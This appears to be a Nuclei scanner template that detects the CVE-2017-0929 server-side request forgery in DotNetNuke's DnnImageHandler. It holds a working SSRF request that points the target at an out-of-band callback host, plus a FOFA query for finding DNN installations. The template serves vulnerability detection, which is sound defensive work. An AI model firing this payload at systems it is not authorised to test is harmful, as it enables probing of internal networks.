id: CVE-2017-0929

info:
  name: DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery
  author: charanrayudu,meme-lord
  severity: high
  description: DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above.
  reference:
    - https://hackerone.com/reports/482634
    - https://nvd.nist.gov/vuln/detail/CVE-2017-0929
    - https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-0929
    cwe-id: CWE-918
    epss-score: 0.12543
    epss-percentile: 0.95717
    cpe: cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dnnsoftware
    product: dotnetnuke
    fofa-query: app="dotnetnuke"
  tags: cve2017,cve,dnn,dotnetnuke,hackerone,oast,ssrf,dnnsoftware,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/DnnImageHandler.ashx?mode=file&url=http://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 500
# digest: 4b0a00483046022100ad374c8068963bf87a5bbf583f1ec049232e7b04f011026a9e034acb3d977ee7022100b080c7545768e39497f38094ddec3fbd7790b48bbaaa924bd81f07376d6dc474:922c64590222798bb761d5b6d8e72950